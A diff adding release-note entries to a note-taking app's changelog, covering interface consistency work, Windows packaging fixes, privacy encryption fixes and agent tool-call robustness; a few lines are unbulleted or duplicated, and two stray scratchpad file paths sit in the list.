+- Attach picker (Chat's note button, INBOX 467): rows are the name over one muted line with the category as a dot and quiet text (it was a filled badge on the name's line), the footer is the dialog footer (count at the left, a ghost Clear and the one filled Done; the buttons were small), and it is padded and cornered like every other panel.
+- Popup windows and panels are one design (INBOX 456, measured on 42 surfaces at 1440 and 390, light and dark): every small dialog (new space, templates, document history, word goal, widgets, tensions, storage) opens with the dialog head and a Close; the skill runner's worded Cancel, the Extract, Writing dictionary, popup agent, Find anything, node popup, new-note popup, board overview, agent activity and tour closes are the same 32px icon button at the same corner (44 by touch), and every sheet's too; a head's title is 16px whatever tag carries it (the Quick note, popup agent and node popup titles were 12px uppercase, 700 or 14.7px); the notifications panel is 8px like every other panel (was 6.4px) and the five floating panels are padded one step (were 8 to 16px); small dialogs are one 34rem width (the storage dialog was 1332px) and sit as far from a phone's edge as the others (12px, now 24px); the dim behind every dialog is one token (it was four values), and Find anything dims the app like the popup agent instead of replacing it with the page gradient.
+- View toggles (Library, Notes, Timeline, Reminders): the selected segment sits inside its well with 4px all round; it was 4px down, flush on the well's bottom edge, and by touch it spilled 16px out.
+- Library, AI skills (INBOX 450): a card's facts are one row of equal-height boxes on one baseline (24px each; the plain chip and the two disclosures were 20 and 22px, 2px apart), "3 steps" and "4 tools" are toggles whose lists open under the row at the card's full width, so opening one no longer pushes the next fact onto a line of its own, and a tool is a code chip at the same height; what a skill asks for before it runs moves to its run line ("Never run · asks for 1 input"), so the facts fit a card on one line. The cards are dealt into columns in reading order, so a short card no longer stands over a gap to its taller neighbour's row and an open card no longer makes its neighbours tall and empty, and "Never run" sits 8px over the footer's line (was 16). The top bar is one row whenever the page has 58rem (at 1440 with a Windows scrollbar it was two, 90px, with New skill and '?' alone on the second; now 50px) and below that wraps on purpose: title, search, New skill and '?' first, the segment and the sort under them; its title says "AI skills", as the sub-tab does.
+- Top bar: the tabs are back to their first size (36px, 16px labels, a 4px well); the density pass had made them 32px with 13.6px labels.
+- Consistency pass, second round (INBOX 437 (4)): Settings' search field and section rows are on the panel's 32px control height (were 42 and 35, the nav column 84px shorter), a slider's reset, the zoom steppers and a backup's delete stand as tall as the field beside them (were 28 and 36), every page has at most one filled button (Import & export had five, Models five once a model is connected, Appearance four, Personas and What it learned two; a lint now holds it), and the theme cards are one height per grid (a lone Lagoon was 79px under rows of 96). On a phone a reminder is two lines, 82px (was 119): the tick spans both, the words and the time on the first, the snoozes, Edit and the menu (44px targets kept) on the second, starting under the words rather than under the tick. Library: Bookmarks no longer repeats the All chip's count on a line of its own (it says "Showing 2 of 4" only when narrowed), a link's facts stay on one line as they were meant to (a later rule's wrap had won; on a phone a row was 75px with the dot alone at a line's end, now 59), and on a phone its tick is the light 22px box of every other list rather than a 44px frame; Contents shows its jump bar from four groups, as Settings' own index does, instead of repeating two heads; an AI skill card spaces its parts by its one gap (207px, was 262) and its menu is Run's height; an image tile loses a 10px blank band under its name (146px, was 156); a Files row names the kind once on its facts line, not also under the glyph that spells it; the Boards grid ends on its card's padding (a 48px band, now 16). Notes: every name in the sidebar starts on one edge (All and the categories began 23px left of Drafts, Favourites and Tags; All has a glyph now and a category its colour dot, as on a note's chip), and the help '?' in the Capture, Write with Atlas and Ask heads is 32px like the head's other buttons (was 36). Documents: Read view no longer shows a document's name twice when its text already opens on it as a heading, and the hint under the editor no longer repeats the dock's "Saved". On a phone the AI skill library's All, Yours and Built-in segment no longer wraps out of its well over the search field: it takes its own row, and the sort shares the next with New skill.
+- Docs: the README, ARCHITECTURE, DESIGN, the roadmap and handover tables and CLAUDE.md's counts are checked against the code and current (INBOX 448 (2)): the README lists Quick note, the offline outbox, `#tags`, kept suggestions, the tag manager, category colours, job last-run status, the Library's bookmarks, Contents and AI skills pages, mind map keys, the OCR engine line and the accessibility work; ARCHITECTURE has `core/jobruns.py` and the `job_runs` table, `GET /jobs/last-runs`, the suggested tags, `client_key` on `POST /entries`, the lazy pieces, the migration head and a directory map that matches the tree; DESIGN has the pending note row, the toast yielding to focus and the row's centred actions; the plan tables say what is built (61 scripts, 5,700+ tests, `app.js` and 24 files after it).
+- Notes: a note held offline shows its title as the saved card will, rather than the raw `# Title` line.
+- Zoom (WCAG 2.2, INBOX 433): on a window under 420px tall (200% and 400% zoom) Chat flows as a page instead of squeezing its welcome under the composer, the Timeline's feed keeps a usable height (it had 0px at 400%), and the graph keeps a 26rem map with the minimap put away so the zoom strip, dock and legend no longer overlap; the AI status popup takes no clicks while it fades; Reminders' row actions sit on their own line below 600px instead of over the tick box; Chat's mode switch is no longer cut off in the touch band; the chat's hidden file field is no longer a Tab stop. zoom.js on Chat, Timeline, Graph, Notes, Documents and Reminders: 14 findings to 0 (11 on the first five, 3 on Reminders).
+- Consistency pass on Chat, Dashboard, Timeline, Reminders, Graph and two Settings sections (INBOX 437 (4)): Chat's message row is 36px like Capture and Ask (was 44) and its control strip, sidebar sort and More selects share the 32px control height (were 30 and 37), and the chosen chat's date line is no longer bold; the graph's zoom strip is 32px (was 34) and its options panel no longer cuts off the right column of switches; the Dashboard clock reads 8:11 like the Reminders one (was 08:11) and the name offer's two buttons are one height; today's day head on the Timeline is as tall as every other day (35px, was 47) and its count is the Graph's dock chip; Reminders' group counts are plain figures like every other group head, and from 1100px up the list no longer repeats the form's filled Add; Background jobs is a list of rows, not cards (659px, was 1,226), the file pickers match their buttons, and the four exports sit on one row with help that no longer repeats the line above it.
+- Toasts: a toast fades and lets clicks through while the focused control is under it (WCAG 2.4.11; at 200% and 400% zoom a lasting "3 reminders are due" hid the Tab stop on six tabs), and the toast box no longer swallows clicks beside a narrow toast below 1100px.
+- Bookmarks: pinned links lead every order but By site (the list's own sort used to discard the pin).
+- Background jobs: a failed run's last-run line says why in a few words ("No space left on device", "File exists"), not the operating system's text with an error number and the path of your folders.
+- Bookmarks: a test now holds that GET /bookmarks pages tile one order, pinned first across every page (it already did: the order is applied before the page is cut).
+- Library: Bookmarks, By site, groups a link with no host under what it is: mailto: links under "Email", other schemes (tel:, file:) under the scheme name, instead of a section named by the raw address. The By site sort uses the same key, so a group is always one run of rows.
+- Library: Contents, By month, puts each document under the month it was created in, with the notes of that month, instead of one "Documents" section after them (the other groupings keep that section). GET /documents/outline now carries `created_at`.
+- Notes: a note kept on this device while the server is away now shows in the notes list, at the top, as a card marked "Waiting to save" (no actions that need the server), and the card goes when the note is sent.
+- Lock: an open dialog or popover no longer stays readable over the lock screen (and no longer leaves its password field untypeable); it is put away while locked and comes back as it was after unlocking.
+- Mind map: Ctrl+D on a topic copies it as the next sibling with the same words and look, and undoing it selects the parent (it used to land as a loose top-level topic).
+- Backups: a manual backup that the disk refuses says why ("Couldn't save the backup: No space left on device.") instead of "Internal error".
+- Documents: the outline breadcrumb starts with a "Top" mark instead of repeating the title that sits in the dock just above it.
+- Mind map: Ctrl+Z after Delete on a branch brings its cross-links back (the delete response now returns the links it dropped), and the undo history no longer goes stale after a restore (ids are remapped); Shift+Tab is one undo step; undoing a create selects the parent; Tab adds a topic only after the map was clicked or keyed in, so it can leave the map (INBOX 445 (2)). Focus mode now keeps cross-linked topics in view.
+- Library: Bookmarks, Contents and AI skills rebuilt inside their purpose (INBOX 445 (1)). Bookmarks: a reading list (Unread and Pinned filters with counts, opening a link reads it), a kind tile per link, "By site" groups that fold, Details in place, a note field, Move to group, Mark read and Pin on the select bar, Undo on every delete, and every page of the list (the 201st link was unreachable). Contents: the notebook as an ARIA tree with documents and their headings under them (jump to the heading), Expand all and Collapse all, arrow-key navigation and a roving tab stop. AI skills: Yours or Built-in segment with counts, a sort, "Reads only" or "Changes notes", the last run's result, Duplicate and Delete with Undo, the background workers folded away. The Library sub-tabs are sized by their words, so the gaps between labels are all 34px (they were 34 to 67).
+- Background jobs: every job now shows when it last ran and how it went. Beside the control (Rebuild search index, Back up now, Find duplicates, the importers, Read my notes now, Run optimization now, Explain your existing links) a quiet line reads "Last run 2h ago · succeeded · 412 notes indexed", with the exact time and the duration on hover; a failure is the only red and says why; a running job shows the ring and "Running…". Settings, Background tasks has a new Background jobs list with every kind, the never-run ones included. The record is one row per kind in the database (so it survives a restart), written through one helper, `job_run`, from the search rebuild, the embeddings backfill, backups (manual and the daily one), the duplicate scan, imports, the night shift, the autonomous pass, resurfacing, link reasons, filing re-evaluation, model and package downloads, SearXNG setup, image captions and text reading. New route: GET /jobs/last-runs.
+- Notes: making one is faster and cannot lose words. Quick note (Alt+N, or the palette) opens over any tab and saves without leaving it: caret in under 70 ms, in the list 100 to 310 ms after Ctrl+Enter, Escape keeps the words for next time, Open in Capture moves them to the full composer. A note saved while the server is not answering (Capture, Save as draft, Quick note, the dashboard's Quick capture) is kept on this device and sent by itself when the server is back (it said "Failed to fetch" and was never sent; a notice above Capture counts what is waiting, with Try now), and a resend is saved once (`client_key` on POST /entries). `#word` in the text tags the note (`inline_tags`). An image pasted into Capture and a file dropped on it are kept (both vanished). The draft keeps its title and tags through a reload (only the words came back). New note from the palette no longer starts with a blank line. The graph's new note and the dashboard's Quick capture are saved at once and filed in the background, as Capture's are. A bare link pasted into Capture or Quick note offers its page as a note through the web clipper, only while the web is allowed.
+- Companion: it does what the app's AI is doing. While Atlas reads a note (Re-evaluate, Tag with Atlas, the tag offer, filing a new note, OCR) it puts its glasses on and gets its book out; while it writes (chat, Ask, Improve writing, a draft) it thinks; a caption is a look. When the work ends it nods, or holds up the note it filed, and a failure gets a puzzled face.
+- Companion: double-click it and the large view shows the companion itself, still doing what it was doing (reading, asleep, sitting on its ledge) until you poke it or the act ends; in there it plays every few seconds, follows the pointer with its eyes, perks up when you hover, says its lines now and then, and only blinks under reduced motion. The view's head is the dialog-head recipe (name and an icon Close) over one line of description.
+- Graph: a calmer, tidier shape. Notes of one category gather (of each dot's four nearest, 56% to 84% share its colour on a 60-note test map, as far as the links are category-shaped; a notebook whose links ignore categories keeps the old, looser layout); notes with no link take a seat on a ring that hugs the cluster, close beside their category (gap to the cluster, in typical spacings, 3.0 to 1.8); a link between two notes of one category wears that category's colour, a link with a reason is heavier, and links curve by default (Show, Curved links; turn it off to go back to straight lines); one dot size scale of 5 to 15 px with a softer glow; names are cut at a word and never end on a small word ("Fitness plan and the..." is "Fitness plan..."), the note under the pointer is named in full, and the busiest notes get ten more characters. The glide to the fitted view is instant for a reader who asked for less motion.
+- OCR workspace and Tesseract: one status line under the toolbar says whether Tesseract can read (program and Python part reported separately), its version, and the language it reads in (a remembered choice that every read obeys, including the background pass); when it cannot read it names the cause and offers Install with the installer's own progress, and a read that cannot run falls to the vision model (or says what to do) and names the engine that read it. Read again really reads again (it used to do nothing once a reading existed), the reading can be edited by hand and added to an existing note, the Packages row means "can read" and shows the same language, and an OCR error points at Settings, Packages.
+- Atlas's feminine look wears a flowing gown below the waist: one A-line with a softly waved hem and four folds on it, instead of five wavy ribbons hanging past a pointed hem (which read as tentacles); her comet tail is unchanged.
+- Tags: a tag manager (Notes ⋯ menu, Settings, the Tags row, the command palette): every tag with its note count, rename, merge into another tag, and remove from all notes, one or several at a time, each in one transaction with a revision and an event per note (so note history shows it) and one Undo. The Notes selection bar's Tags button adds tags to and removes tags from every selected note in one action. A tag chip's right-click or menu key opens Show notes, Rename in all notes, Remove from this note and Manage tags. A category chip now opens a small menu: Show notes in the category, Move to another category, Manage categories. New routes: POST /tags/merge, /tags/bulk and /tags/restore; /tags/delete takes several names.
+- The whole app is tighter and calmer: controls are 32px (were 36), the top bar 48px (was 56), interface text 14.7px where most of it inherited 16px, panels 16/20px inside, the greeting and its clock 24px; five note cards fit above the fold at 1440x900 instead of four, with a two-line preview. Toolbar buttons without a border read at a regular weight, and the dashboard's start tiles line up at the left.
+- Dashboard: the first screen is calmer. Under the greeting is one row, the search box and a "..." menu holding Continue, your recent skills, Tools & features, Commands, View, Widgets and Edit layout; then the Start something tiles and your widgets. The Jump to and Run a skill rows, the four number tiles and the Your dashboard bar are gone from the page (the numbers are in the greeting, the status bar and the Stats, Streak and Writing pace widgets), and Edit layout shows a line above the widgets with its own Done.
+
+### Fixed
+- Filing: a note's certainty is now Atlas's own estimate, not the model's raw number. A small model answered 100% for a dentist appointment it filed under Work; nothing a model or a word match picks now reads above 95%, a pick the notebook's own words disagree with is lowered (under 50% shows check this and offers the other categories as one-tap buttons beside the note box), and so is a pick for a category with few notes. A note you filed yourself says Filed by you and shows no percentage.
+- Notifications: about a hundred toasts for normal situations (Dictate without the voice add-on, Compress on an empty chat, Add on an empty reminder, a field left empty, nothing to export yet, a model or add-on that is off, a limit) were red with "Report this", which reads as a broken app; they are now plain toasts that ignore "mute notifications", and a failed request the server refuses with a 4xx shows plain too, so only a 5xx, a network failure or an exception keeps the red style and the report button. `toast(text, "info")` is the plain form; `tests/test_error_toasts.py` pins 100 calls and makes a new red toast with its own message name its fault.
+- Status bar: with no model connected, the AI status shows the app's AI sparkle with a slash through it, in the same neutral grey on the chip, where it was a hollow ring that said nothing; the card still reads "Notebook ready · AI off", and the ready, checking, warming and error states are unchanged (INBOX 656).
+- Chat, Ask, the popup agent, the Guide and persona rows: Atlas's small head (under 28px) is now a miniature of the current bust, both looks: the head mark's hair, cap and fringe, eyes with an iris, pupil and catchlight, the ears, and the neck and shoulders, where it was a bald egg with two solid ink eyes and a heavy outline (INBOX 650).
+- Packaged builds: both PyInstaller specs now leave any __pycache__ folder out of the bundle (migrations/ is copied whole, so a build machine that had run the app shipped stale bytecode there).
+- Internal, after the motion-polish and map and icon branches merged: the icon picker's stylesheet and script are one `LAZY_MODULES.iconPicker` bundle loaded with `ensureModule`, its tile hover follows the Interface animations switch, and the map's and picker's caches are one const each, so the lazy-CSS, motion-token and global-scope ratchets hold at their caps.
+- Windows start.bat: a folder name containing ! (Notes!, Hi!there) no longer breaks the launcher; the script's own path is read before delayed expansion is turned on, so MM_HOME, MM_SELF and the first cd keep the character. Reasoned and statically tested only, no Windows machine was available.
+- Windows updates: the in-app update now reopens MemoryMap AI by itself when the installer finishes (it passes /RELAUNCH=1 and only a silent install honours it, so a scripted /VERYSILENT install still opens nothing); before, the app closed for the update and stayed closed until the person opened it again. Reasoned and statically tested only, no Windows machine was available.
+- Windows: the Start Menu's Repair MemoryMap AI no longer half-deletes the window's cache under a running copy (WebView2 holds those files locked, so only the unlocked half went); with the app open it leaves the cache alone and says to quit first.
+- Windows uninstaller: answering yes to deleting the optional packages now deletes the ones the app downloaded itself too (Pyodide, the needle model, in the extras folder), not only the pip packages.
+- Windows installer: it reads its version from the app's own __version__ instead of a MEMORYMAP_VERSION variable with a hard-coded 0.1.0 fallback, and a release tag that disagrees with the code stops the release before anything is built. An upgrade removes the previous build's program files before copying the new ones, so no file an older version had (a moved module, a DLL from another Python) is left beside the new one, and the uninstaller removes anything the app wrote inside its own folder.
+- Windows launcher: start.bat --shortcut puts the shortcut on the Desktop you see when OneDrive has moved it (on by default on many new PCs), where it used to fail or land in a folder nobody looked at, and works from a folder whose path has an apostrophe (C:\Users\O'Brien); uninstall.bat --shortcuts looks in the same place.
+- Desktop window: an edited lazily loaded stylesheet (the Library's library-lazy.css) is fetched fresh. It was stamped with app.js's hash, a URL cached for a year, so a change to it alone kept the old rules in the window's long-lived cache; every stylesheet now carries its own hash in the page's stamp map.
+- Packaged app: /capabilities no longer offers 'python -m memorymap.mcp_server' as installed. The packaged app has no Python to run it with, so an outside client set up from that answer failed to start; it says so now, and the install guide says the MCP server runs from a source checkout.
+- Packaged app: optional packages install against the app's own version limits again (requirements.txt is bundled; the packaged build looked for it outside the bundle and installed unconstrained), and on the packaged Linux app a package with a compiled part (Export to Word, scanned PDFs) installs at all: pip was asked for wheels tagged linux_x86_64, which nobody publishes, and now also gets the manylinux tags this machine runs.
+- Packaged app: optional packages installed after setup find the standard library they need. The bundle carried only the standard modules the app itself imports, and search by meaning (transformers needs filecmp), scanned PDFs (ctypes.util) and others import more; the whole standard library is bundled now except Tk, the tests and IDLE, about 3 MB.
+- Packaged app: nothing is written inside the install folder any more. Once migrations ran, the frozen interpreter cached them as bytecode beside the exe, which no uninstall removed; a packaged build now writes no bytecode.
+- Windows: saving preferences or the instance lock no longer fails when an antivirus scan or a second launch has the file open for a moment. The rename Windows refuses then is tried again for up to about three seconds, and these files are always written as UTF-8.
+- Windows: the tray's Restart brings the installed app back. Python's exec on Windows passes the arguments unquoted, so the program's own path (MemoryMap AI\MemoryMap AI.exe) arrived as three arguments and the restarted app exited at once; it starts a new process now, and a Restart after the Repair shortcut no longer repairs again. Quit, Restart, the console switch and an update now let go of the notebook's lock before exiting, so the next launch never waits on a lock naming a dead or reused process.
+- Packaged app: no traceback in the log on every launch. The launcher asked for the bootloader's splash, which the build has not had since 0.3.3, and the module prints a traceback on its way to failing; it is asked for now only when the bootloader made one.
+- Packaged app: tool calling without Ollama (the needle extra) works in the installed build. Its provider is imported by name, which PyInstaller cannot see, so it was one of two app modules missing from the bundle (measured, 198 of 200); both specs now list every module of the app by file, and a test checks the list against every import by name.
+- Packaged app: the database is stamped and upgraded by Alembic again on a Japanese, Chinese or Korean Windows (and the frozen app under a C locale). alembic.ini carried one em dash, which Alembic reads in the system's own encoding, so the step failed before any migration ran; the file is plain ASCII now and a test keeps it so.
+- Test sweeps: the skeleton sweep treats a view whose empty answer is its boot answer (the chat list) as expected, and the boot-time sweep now reports DOMContentLoaded, first contentful paint and when the dashboard is readable over five cold loads; the Library and Documents "blank" skeletons were a sweep timing artifact, not the app.
+- Filing: when the chat model files a note, the prompt now also names the three notes already filed that read most like it with their categories, and any refile correction that reads like it (private notes are never named, and the note being re-filed is not its own example). The corrections switch in Learned silences it. Before, only the categories you had moved notes into were mentioned.
+- Desktop launch: a MemoryMap already on the port is reused only when it serves this launch's data folder; a second copy pointed at a different folder is treated as another program and the window moves to the next free port, where before it opened onto the wrong notebook. The server reports a hash of its resolved folder (never the path) at the new open `GET /instance`, compared case-insensitively on Windows; a build too old to answer is still reused, as before.
+- Whiteboard between 641 and 819px: the tool dock no longer overlaps the zoom cluster (6,841px² to 0) and the top bar is one row from 680; the whiteboard file's last ten off-band widths moved onto the 819.98/820 band and their allowances left `tests/test_breakpoints.py` (`op5-1005.js` MODE=bands).
+- Settings, Models: an installed model's menu offers only the uses its kind has (an embedding model is offered Use for search, never Use for chat; a vision model images, reading text and chat), read from the catalogue, then Ollama's model details, then the name (`model_cards.installed_uses`, `tests/test_model_cards.py`, `op5-1005.js` MODE=models).
+- Settings, Skills and Personas: the "Built-in" label on a list row is readable in light (4.27:1 before, three tints stacked under muted type); it takes the ink, as the "Installed" label already did.
+- Test suite: each pytest-xdist worker no longer climbs to 2 to 2.7 GB (four of them filled a 16 GB CI runner, which shut down at 96 to 99%). FastAPI's callable caches kept every test's app alive (about 8 MB each) and are now cleared after each test, and the 145 test modules that read a frontend file at import now share one copy of it (collection RSS 490 to 341 MB). Measured per worker at the end of the suite: about 1 GB before the second change, down from 2 to 2.7 GB.
+- The guided tour no longer counts steps it cannot show on a tablet-width window (600 to 819 wide, or a touch screen): the chat sidebar is a sheet parked off screen there and the status bar's Commands item is hidden, so those two cards are left out of the count instead of being planned and dropped ("3 of 4" with three shown). The no-mind-map card is shorter (115 characters, was 209).
+- Whiteboards and mind maps: the Board menu closes when Export, Clear, Add to a note, Map to document, Copy app link or Delete is pressed. It stayed open over the dialog or picker the row had just opened, and on a phone (390 wide) it covered the note picker's rows so the first one could not be pressed. Measured: all six left it open before, none after.
+- Settings, Skills and Personas: the "Built-in" label on a list row is readable in light (4.27:1 before, three tints stacked under muted type); it takes the ink, as the "Installed" label already did.
+- A whiteboard or mind map in a note no longer reads "This board is no longer in your notebook" when the note is drawn a second time while the first look for the board is still on its way: the second card now waits for that look instead of treating it as an answer. Measured with a board made a second before its note was opened: the card drew as removed in every run before, and as the board in every run after (`noteobject.js`).
+- Alignment and loading: a Timeline row's kind mark, title and time sit on one line (the mark was 1.2px above the title in a one-line row), and the Settings lists that fill from a request (Packages and its embedding models, Skills, Tools, Personas, Backups, Privacy, Account) show skeleton rows while they load instead of a blank space (INBOX 542, 596).
+- Settings: Models, What it remembers, What it learned and the Logs list show placeholder rows while their first answer is on its way, instead of a bare "Checking the models…" line or an empty pane; Models paints the last known status the moment Settings opens.
+- Capture: the formatting strip is the one-row folded bar from its first paint on a phone (it drew two rows, 104px, and folded to 54px when the Library code loaded, a jump under the thumb).
+- Note facts turned to their icons (a narrow column such as Ask's matching notes) are 24px squares with the icon centred. They kept the words' minimum width and side padding, so the links icon sat 4.5px left of centre in a 30 by 24 box (`iconchip.js`: now 24 by 24, 0px off).
+- Private notes: a private note's card no longer offers "Tag with Atlas" (the chip under an untagged note). The route refuses a private note, so the chip's only answer was a refusal toast; the note menu's AI actions group was already left out for one. Measured: a private untagged note drew 1 chip before and draws 0 now, a plain one still draws 1 (`open-privatechip.js`; `tests/test_private_note_no_ai_offer.py`).
+- Loading: the first visit to Graph, Library and Documents shows the page's own outline (its bar, then the map, the tiles, or the list and the open page) instead of a blank screen with a line across the middle, and if it takes more than a moment it says "Opening the graph…" with a moving ring. Dashboard widgets load as skeleton rows rather than the word Loading, and going back to the dashboard keeps it on screen while it refreshes instead of showing it empty for a second (INBOX 598, 596, 602).
+- Learned from your notes: turning off "Open questions" now stops the night pass collecting questions and matching them to later answers (the questions already collected stay listed). Before, the switch was stored and shown but gated nothing.
+- Note properties: saving a note's properties, and turning a plain mention into a link from a note's Backlinks, failed with an error since the entries API learned If-Match; both save again.
+- Settings: every on/off row is one shape. The switches written as a `.check-row` (15 in Settings) sat 6.4px from their labels against 9.6px on the `.setting-check` rows beside them; both are 9.6px now, and the SearXNG autostart row leads with its switch in the reading order as it already did on screen (`togglerows.js`, one shape at 1440 and 390, light and dark).
+- Library: the Files sub-tab asks for a PDF's first page only when this install can draw one. Without the PDF render extra each document row used to request a page that could only fail (four 404s per render on a notebook with four PDFs); the server now says per row whether a page can be drawn (`has_pages` on `GET /media`, and on the attachment gallery only with the extra) and the row keeps its type icon otherwise (`pdfpagereq.js`, 0 requests without the extra, 0 404s with it, at 1440 and 390, light and dark).
+- Documents: the word menu keeps its full width wherever it opens. A short menu left near the right edge and then opened on a word with a long suggestion measured itself squeezed against the edge (256px of its 316 at phone width) and was placed from that; it is now measured from the left edge first (`wordmenuwidth.js`, 5 of 5 at 1440 and 390, light and dark).
+- Graph: notes move at an even speed while the map settles (INBOX 586, "the graph is a little jittery when nodes move around or adjust position"). The layout's steps and the screen's frames ran on two clocks, so a note moved two steps in one frame and none in the next; each frame now draws the point between the last two steps that its time says. Simulated at 60 frames a second: per-frame steps vary by 13% instead of 34%, and on a large map every frame moves instead of one in four.
+- Graph: clicking a note moves nothing (INBOX 587, "when I click nodes on the graph, it moves the graph slightly??"). A press on a note used to start a drag at once, which reheated the layout, so every click set its neighbours moving; a drag now begins only after the pointer travels 3px. Measured on ten clicks: other notes moved 15 to 65px before, 0 after, and the view did not move.
+- Mind maps: a core topic's Dashed edge bar is dashed (INBOX 581, "the solid and dashed bar are exactly the same on mind map nodes"). A border's gaps show the box's own ground, and a core topic's ground is its branch colour, the bar's colour, so its Dashed bar drew solid; the gaps now show the board. Every Box (Rounded, Pill, Box, Ellipse), free, pinned, core and filled, in right, down and both-sides maps: Solid continuous and Dashed with gaps in all 64, light and dark (core was 2 of 16 before).
+- Chat: the Chats sidebar's head is one quiet row, the way the Notes sidebar's is (INBOX 578, "this section in the chat sidebar looks awkward"): the title, then the sort as an icon picker and New chat as an icon button, both ghost, beside the collapse toggle. It was a filled New button and a wide Recent field alone on a row under the head. Measured: one row, every control 32px on one centre line, nothing filled, at 170 to 520px sidebar widths; at the narrowest the sort leaves the head (sorting is then in the Library) rather than cutting the title.
+- Graph: Tree, Radial and Arc draw again on a notebook with replies (INBOX 579, "switching the graph layout does nothing"). The map now lists notes newest first, so a reply came before the note it answers and the layout stopped on an error before drawing; the layouts no longer depend on the order, and a reply chain that loops is filed under its category. Measured on 142 notes: every pair of layouts was 0 apart with three errors, now 21 to 110 apart (of 100) with none, canvas and SVG, light and dark, at 1440 and 390.
+- Icons beside words sit on the words' capital-letter centre in whatever font the app is drawn in (INBOX 592): badges such as Fits and Installed, a note's facts line (category, score, tags, date), menu rows and buttons. On Windows the icons sat up to 1.7px off and the date 1.3px off the chips beside it; the "+N more links" button is now the same pill as the links beside it.
+- Notes: the Connections column's help and close buttons are one size and on one line (the close button was smaller and sat 2px lower).
+- Narrow windows (600 to 820 wide, an iPad upright): one layout across the whole band. Settings shows its sections as a strip above one full-width column (the settings had 282px beside the section list at 620), the dashboard is two cards across, a note's actions are one row (they stood in a column below 720), and the top bar is one height; the leftover 720, 640 and 900 pixel layouts now change at 600 or 820 like the rest of the app.
+- Phone: Escape on a ⋯ menu's action sheet closes the sheet. Before, the sheet stayed up and the Escape closed what was under it, the Settings window included (found by INBOX 595's sweep).
+- Mind maps: the "Point a new node at…" picker (and every notebook picker on its shell) is redesigned (INBOX 572). With more rows than fit, each row shrank to 28px and its 32px icon hung over the next row's title; every row is now 56px with the icon centred and 8px between rows. The sources span the dialog as equal segments, each with its count (what matches the words typed), Home and End walk them, and the picker opens on the source you used last. A bookmark's icon says what it points at and a file's its type, titles are clipped by the row's width rather than at 70 characters, nothing matching is an empty state with an icon and a title, the search ring is the one 2px ring, and the list keeps one height and a thin scrollbar with no arrows.
+- Agent mode and skills: a small model that writes a lookup into its reply as text, like list_notes({...}), now has the lookup run instead of stopping with "I cannot execute the tool call"; changes written the same way still are not run.
+- Notes, Ask: the text-selection menu no longer pops up over an answer's sources when the answer selects your question for re-typing.
+- Moving a note the AI filed to another category now teaches the next filing: the move was recorded but never read back, so the same note kept being filed in the same wrong place.
+- Phone: More has a Commands row that opens the command palette, which a phone had no way to reach.
+- Notes: switching on "Connections beside an open note" with no note open says that the column shows beside a note once you open one (INBOX 546).
+- Settings: every section with three or more groups opens with its "In this section" strip under its title; Tasks had it at the bottom (after Quit MemoryMap) and short sections had none (INBOX 541).
+- Graph, Arc view: it opens framed whole, its arcs and end labels inside the window with a margin, instead of zoomed in on the bare baseline near the top (INBOX 544).
+- Notes, Capture: the Clear button sits below the text box instead of over its bottom edge (6px over at desktop width, 14px on a phone) (INBOX 545).
+- Top bar: the tabs no longer jump sideways when you switch tab; the strip was measured with its sliding highlight counted as a tab, so whether it was centred depended on which tab was selected (INBOX 539).
+- Agent mode: a model that can call tools is no longer reported as unable to after one tool call Ollama could not read; the request is made once more, only Ollama's own "does not support tools" counts as no tools, an error mid-answer is said instead of ending empty, and a model that claims tools but keeps failing gets its own message (INBOX 538).
+
+- Mind maps: a map's theme with an impossibly large text size in it (JSON's 1e999, from a hand-edited file or another client) is dropped like any other bad value; before, saving it was a server error, and since the theme is read on every open of the map, a stored one would have broken the map (the final scan, 2026-10-06).
+- Mind maps: the + on a map line is one Undo step that puts the branch back under its parent; Redo brings the new topic back between them; any topic taken back by Undo comes back under its parent on Redo, and a batch redoes in the right order (INBOX 537).
+Graph: a topic summary request's shared terms are capped at 200 characters each.
+Suggestions: a decision's signal names are capped at 40 characters (they are kept in the learning table for good).
+Agent: a small model's runaway bracket (thousands of [ or { in one tool argument) failed that one call as unreadable JSON; it raised RecursionError past every reader and ended the whole turn.
+Logs: the query-string redaction was quadratic in a line with a ? early and a long run of slashes after it (28,000 slashes took 2.4 s on the thread that writes every log line); it reads each run once.
+Privacy: making a note private drops the people and places a model had read out of it (the notes filter's entity: term and the graph still answered with a private note's names); made readable again, it is read again.
+- Graph: the options panel (676px of list in a 492px panel at 1440x900) already scrolled inside itself and now keeps the wheel there: a wheel at the end of the list no longer chains to the map behind it (`overscroll-behavior: contain`; on a phone the sheet is the scroller and already contained). Sweep `scratchpad/ui-sweeps/graphoptfit.js`.
+- A private note's kept tag suggestions and discarded tags are handled like its tags: shown wherever its tags are and nowhere else (search, the graph, the model's context, exports and every locked read were checked together), and filing no longer makes new suggestions for a private note from its text (`tests/test_private_suggested_tags.py`).
+- `[[Target|Shown]]` means the same everywhere: the note it links to is the part before the bar, whether the link is made on save, listed in a document or note's backlinks, or shown as "links to it" in a note's references; and a note's label, preview and graph line read the shown words, not "Target|Shown" (`manager.wiki_target`, `wiki_shown`, `wiki_plain`).
+/tmp/claude-0/-home-user-MemoryMap-AI/eac0a178-6a5f-55a9-b7c8-87cedc9b90ca/scratchpad/cl-wisps.txt
+/tmp/claude-0/-home-user-MemoryMap-AI/eac0a178-6a5f-55a9-b7c8-87cedc9b90ca/scratchpad/cl-aura.txt
+Library: a note or document with a long run of blank lines or spaces no longer freezes the app: 1,000 blank lines made the Library list take 6.5 seconds and 2,000 took 49, because the preview's table-rule pattern was cubic in the run; 20,000 of any shape is now instant.
+Privacy: saving a setting no longer copies a name, a dictionary of your words or a whole skill into the activity log; only short plain values are recorded.
+Security: the link opener, page clipper and other outbound fetches now refuse the shared address space (100.64.0.0/10, which includes Tailscale nodes and a cloud metadata service at 100.100.100.200) as they already refused home-network addresses.
+Privacy: saving an edit to a private note kept its new text encrypted only in the editor's eyes (it was written to the database in plain text while the note stayed marked private, and into the search index); it is now stored encrypted, and Add context, which appended plain words to the encrypted text and made the note unreadable, refuses a private note.
+Privacy: making a note private now encrypts the history it already had (its first version and earlier edits sat in the event log and the version list in plain text); restoring an older version fits the note as it is now, so a version saved while private no longer comes back as unreadable text in a note that has since been made public.
+- Chat: the transcript keeps following a long answer as it is written. A heading, list or code block landing between two frames made it stop following, so the end ran away from you and only "Jump to latest" caught up; a picture arriving late or a fold collapsing now keeps you at the bottom too.
+- Chat: with a local server that speaks the OpenAI dialect (LM Studio, llama.cpp), an answer now writes itself live; it used to arrive all at once at the end of the turn.
+- Ask: Tab off either end of a pinned source preview closes it and puts the focus back on its mark, instead of leaving it open at the end of the page until Escape.
